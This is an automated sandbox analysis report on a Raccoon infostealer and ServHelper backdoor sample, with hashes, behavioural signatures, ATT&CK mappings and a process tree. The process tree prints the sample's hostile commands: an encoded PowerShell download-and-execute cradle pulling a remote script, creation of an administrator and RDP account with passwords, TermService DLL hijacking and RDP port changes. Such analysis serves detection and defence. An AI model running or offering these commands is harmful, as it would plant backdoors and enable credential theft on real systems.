raccoon | 989a76309e98914e5e73acd337113893430700e42838627c250fb8de76869937

Analysis

max time kernel
125s
max time network
177s
platform
windows7_x64
resource
win7v20210408
submitted
02-06-2021 13:52

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General

Target

c0b4d836349117b0b91a769ad991724c.exe
Size

568KB
MD5

c0b4d836349117b0b91a769ad991724c
SHA1

cb6ddfd01e6dd7b94572463535d44fb48cfa3b70
SHA256

989a76309e98914e5e73acd337113893430700e42838627c250fb8de76869937
SHA512

4d246abadaa9db5c7bf0f742c73a69d4992b01aebcc64b3681cd3ec4ddfd327bf0825425fed4af8c27df91f19d140ba59a0442f6c129dd5179405b3fb8a64d77

Score

10^/10

raccoon servhelper e46634757936706c1ff491585768dd6fe231db30 backdoor discovery exploit persistence spyware stealer trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

raccoon

Botnet

e46634757936706c1ff491585768dd6fe231db30

Attributes

url4cnc
https://tttttt.me/jdiamond13

rc4.plain

Signatures

Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 1 IoCs

flow	pid	Process
14	1284	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
1380	YKMR9yflyT.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
920	icacls.exe
1540	icacls.exe
524	icacls.exe
112	takeown.exe
2044	icacls.exe
1956	icacls.exe
1160	icacls.exe
944	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00050000000130c8-196.dat	upx
behavioral1/files/0x00060000000130c9-197.dat	upx

Deletes itself 1 IoCs

pid	Process
600	cmd.exe

Loads dropped DLL 12 IoCs

pid	Process
752	c0b4d836349117b0b91a769ad991724c.exe
752	c0b4d836349117b0b91a769ad991724c.exe
752	c0b4d836349117b0b91a769ad991724c.exe
752	c0b4d836349117b0b91a769ad991724c.exe
752	c0b4d836349117b0b91a769ad991724c.exe
752	c0b4d836349117b0b91a769ad991724c.exe
752	c0b4d836349117b0b91a769ad991724c.exe
752	c0b4d836349117b0b91a769ad991724c.exe
752	c0b4d836349117b0b91a769ad991724c.exe
752	c0b4d836349117b0b91a769ad991724c.exe
2044	Process not Found
2044	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
944	icacls.exe
920	icacls.exe
1540	icacls.exe
524	icacls.exe
112	takeown.exe
2044	icacls.exe
1956	icacls.exe
1160	icacls.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 21 IoCs

description	ioc	Process
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b68d5eb1-4891-4c08-8313-1ddd00192479	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1c82fde1-fff8-433e-8b43-5b57d9a90dd6	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a01602cd-a976-4115-b303-568116329440	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_2f9ba73b-a955-4e0f-81c4-e0ef376ce2f4	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3a1c8e3e-283c-4301-9b83-74a6f3dc14c1	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_f5b1602b-f117-4a3d-8c70-ce8c59f8feac	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e1af4d0b-371f-4dab-affa-f9e07f5d2696	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_0e6913e5-cc9c-4fa4-af42-71de92670df5	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e89b6daf-47da-496e-b201-c0428b0a436d	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_13230d9b-10e1-41cb-9e78-9a7255f81639	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\GEKX4TNWKW7CLPYJF9ZT.temp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_308f5d77-3bb5-4943-a484-919c20ebd404	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
964	timeout.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 0069ddf9c757d701	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1724	reg.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	c0b4d836349117b0b91a769ad991724c.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	c0b4d836349117b0b91a769ad991724c.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
1480	powershell.exe
1480	powershell.exe
1724	powershell.exe
1724	powershell.exe
1760	powershell.exe
1760	powershell.exe
1296	powershell.exe
1296	powershell.exe
1480	powershell.exe
1480	powershell.exe
1480	powershell.exe
1284	powershell.exe
1284	powershell.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
464	Process not Found
2044	Process not Found
2044	Process not Found
2044	Process not Found

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	1480	powershell.exe
Token: SeDebugPrivilege	1724	powershell.exe
Token: SeDebugPrivilege	1760	powershell.exe
Token: SeDebugPrivilege	1296	powershell.exe
Token: SeRestorePrivilege	1956	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	1140	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1140	WMIC.exe
Token: SeAuditPrivilege	1140	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1140	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1140	WMIC.exe
Token: SeAuditPrivilege	1140	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	944	WMIC.exe
Token: SeIncreaseQuotaPrivilege	944	WMIC.exe
Token: SeAuditPrivilege	944	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	944	WMIC.exe
Token: SeIncreaseQuotaPrivilege	944	WMIC.exe
Token: SeAuditPrivilege	944	WMIC.exe
Token: SeDebugPrivilege	1284	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 752 wrote to memory of 1380	752	c0b4d836349117b0b91a769ad991724c.exe	30
PID 752 wrote to memory of 1380	752	c0b4d836349117b0b91a769ad991724c.exe	30
PID 752 wrote to memory of 1380	752	c0b4d836349117b0b91a769ad991724c.exe	30
PID 752 wrote to memory of 1380	752	c0b4d836349117b0b91a769ad991724c.exe	30
PID 752 wrote to memory of 600	752	c0b4d836349117b0b91a769ad991724c.exe	31
PID 752 wrote to memory of 600	752	c0b4d836349117b0b91a769ad991724c.exe	31
PID 752 wrote to memory of 600	752	c0b4d836349117b0b91a769ad991724c.exe	31
PID 752 wrote to memory of 600	752	c0b4d836349117b0b91a769ad991724c.exe	31
PID 600 wrote to memory of 964	600	cmd.exe	33
PID 600 wrote to memory of 964	600	cmd.exe	33
PID 600 wrote to memory of 964	600	cmd.exe	33
PID 600 wrote to memory of 964	600	cmd.exe	33
PID 1380 wrote to memory of 1480	1380	YKMR9yflyT.exe	34
PID 1380 wrote to memory of 1480	1380	YKMR9yflyT.exe	34
PID 1380 wrote to memory of 1480	1380	YKMR9yflyT.exe	34
PID 1480 wrote to memory of 940	1480	powershell.exe	36
PID 1480 wrote to memory of 940	1480	powershell.exe	36
PID 1480 wrote to memory of 940	1480	powershell.exe	36
PID 940 wrote to memory of 1684	940	csc.exe	37
PID 940 wrote to memory of 1684	940	csc.exe	37
PID 940 wrote to memory of 1684	940	csc.exe	37
PID 1480 wrote to memory of 1724	1480	powershell.exe	38
PID 1480 wrote to memory of 1724	1480	powershell.exe	38
PID 1480 wrote to memory of 1724	1480	powershell.exe	38
PID 1480 wrote to memory of 1760	1480	powershell.exe	40
PID 1480 wrote to memory of 1760	1480	powershell.exe	40
PID 1480 wrote to memory of 1760	1480	powershell.exe	40
PID 1480 wrote to memory of 1296	1480	powershell.exe	42
PID 1480 wrote to memory of 1296	1480	powershell.exe	42
PID 1480 wrote to memory of 1296	1480	powershell.exe	42
PID 1480 wrote to memory of 112	1480	powershell.exe	45
PID 1480 wrote to memory of 112	1480	powershell.exe	45
PID 1480 wrote to memory of 112	1480	powershell.exe	45
PID 1480 wrote to memory of 2044	1480	powershell.exe	46
PID 1480 wrote to memory of 2044	1480	powershell.exe	46
PID 1480 wrote to memory of 2044	1480	powershell.exe	46
PID 1480 wrote to memory of 1956	1480	powershell.exe	47
PID 1480 wrote to memory of 1956	1480	powershell.exe	47
PID 1480 wrote to memory of 1956	1480	powershell.exe	47
PID 1480 wrote to memory of 1160	1480	powershell.exe	48
PID 1480 wrote to memory of 1160	1480	powershell.exe	48
PID 1480 wrote to memory of 1160	1480	powershell.exe	48
PID 1480 wrote to memory of 944	1480	powershell.exe	49
PID 1480 wrote to memory of 944	1480	powershell.exe	49
PID 1480 wrote to memory of 944	1480	powershell.exe	49
PID 1480 wrote to memory of 920	1480	powershell.exe	50
PID 1480 wrote to memory of 920	1480	powershell.exe	50
PID 1480 wrote to memory of 920	1480	powershell.exe	50
PID 1480 wrote to memory of 1540	1480	powershell.exe	51
PID 1480 wrote to memory of 1540	1480	powershell.exe	51
PID 1480 wrote to memory of 1540	1480	powershell.exe	51
PID 1480 wrote to memory of 524	1480	powershell.exe	52
PID 1480 wrote to memory of 524	1480	powershell.exe	52
PID 1480 wrote to memory of 524	1480	powershell.exe	52
PID 1480 wrote to memory of 764	1480	powershell.exe	53
PID 1480 wrote to memory of 764	1480	powershell.exe	53
PID 1480 wrote to memory of 764	1480	powershell.exe	53
PID 1480 wrote to memory of 1724	1480	powershell.exe	54
PID 1480 wrote to memory of 1724	1480	powershell.exe	54
PID 1480 wrote to memory of 1724	1480	powershell.exe	54
PID 1480 wrote to memory of 928	1480	powershell.exe	55
PID 1480 wrote to memory of 928	1480	powershell.exe	55
PID 1480 wrote to memory of 928	1480	powershell.exe	55
PID 1480 wrote to memory of 1752	1480	powershell.exe	56

C:\Users\Admin\AppData\Local\Temp\c0b4d836349117b0b91a769ad991724c.exe
"C:\Users\Admin\AppData\Local\Temp\c0b4d836349117b0b91a769ad991724c.exe"
1⤵
- Loads dropped DLL
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:752
- C:\Users\Admin\AppData\Local\Temp\YKMR9yflyT.exe
  "C:\Users\Admin\AppData\Local\Temp\YKMR9yflyT.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1380
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
    3⤵
    - Drops file in System32 directory
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1480
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\bvxhnq4u\bvxhnq4u.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:940
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES39B6.tmp" "c:\Users\Admin\AppData\Local\Temp\bvxhnq4u\CSCAEB9937D88047DEBCE8EC2D89A11590.TMP"
        5⤵
        
        PID:1684
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1724
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1760
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1296
  - - C:\Windows\system32\takeown.exe
      "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:112
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2044
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:1956
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1160
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:944
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:920
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1540
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:524
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
      4⤵
      PID:764
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
      4⤵
      Modifies registry key
      PID:1724
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
      4⤵
      PID:928
  - - C:\Windows\system32\net.exe
      "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:1752
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        5⤵
        
        PID:368
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
      4⤵
      PID:1304
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start rdpdr
        5⤵
        
        PID:976
      - C:\Windows\system32\net.exe
        
        net start rdpdr
        6⤵
        
        PID:556
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        7⤵
        
        PID:1572
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
      4⤵
      PID:1296
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start TermService
        5⤵
        
        PID:1592
      - C:\Windows\system32\net.exe
        
        net start TermService
        6⤵
        
        PID:848
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        7⤵
        
        PID:112
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
      4⤵
      PID:328
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
      4⤵
      PID:568
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\c0b4d836349117b0b91a769ad991724c.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:600
- - C:\Windows\SysWOW64\timeout.exe
    timeout /T 10 /NOBREAK
    3⤵
    - Delays execution with timeout.exe
    PID:964

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Ghar4f5 /del
1⤵
PID:944
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Ghar4f5 /del
  2⤵
  PID:1396
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
    3⤵
    PID:1440

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc 98rqsoCs /add
1⤵
PID:1400
- C:\Windows\system32\net.exe
  net.exe user wgautilacc 98rqsoCs /add
  2⤵
  PID:1312
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 98rqsoCs /add
    3⤵
    PID:660

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
1⤵
PID:1752
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
  2⤵
  PID:1732
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
    3⤵
    PID:976

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
1⤵
PID:1576
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
  2⤵
  PID:1540
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
    3⤵
    PID:1124

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
1⤵
PID:944
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" wgautilacc /ADD
  2⤵
  PID:748
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
    3⤵
    PID:928

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc 98rqsoCs
1⤵
PID:1800
- C:\Windows\system32\net.exe
  net.exe user wgautilacc 98rqsoCs
  2⤵
  PID:752
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 98rqsoCs
    3⤵
    PID:556

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:1052
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1140

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1556
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:944

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:976
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:556
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1284

C:\Windows\System32\cmd.exe
cmd.exe /C net user wgautilacc 1234
1⤵
PID:748
- C:\Windows\system32\net.exe
  net user wgautilacc 1234
  2⤵
  PID:1396
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 1234
    3⤵
    PID:848

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/752-61-0x0000000000400000-0x0000000000496000-memory.dmp

Filesize
600KB

Download
memory/752-60-0x00000000004A0000-0x0000000000531000-memory.dmp

Filesize
580KB

Download
memory/752-59-0x0000000075451000-0x0000000075453000-memory.dmp

Filesize
8KB

Download
memory/1284-220-0x000000001939A000-0x00000000193B9000-memory.dmp

Filesize
124KB

Download
memory/1284-219-0x0000000019394000-0x0000000019396000-memory.dmp

Filesize
8KB

Download
memory/1284-218-0x0000000019390000-0x0000000019392000-memory.dmp

Filesize
8KB

Download
memory/1296-165-0x000000001AB90000-0x000000001AB92000-memory.dmp

Filesize
8KB

Download
memory/1296-166-0x000000001AB94000-0x000000001AB96000-memory.dmp

Filesize
8KB

Download
memory/1380-80-0x0000000041006000-0x0000000041007000-memory.dmp

Filesize
4KB

Download
memory/1380-81-0x0000000041007000-0x0000000041008000-memory.dmp

Filesize
4KB

Download
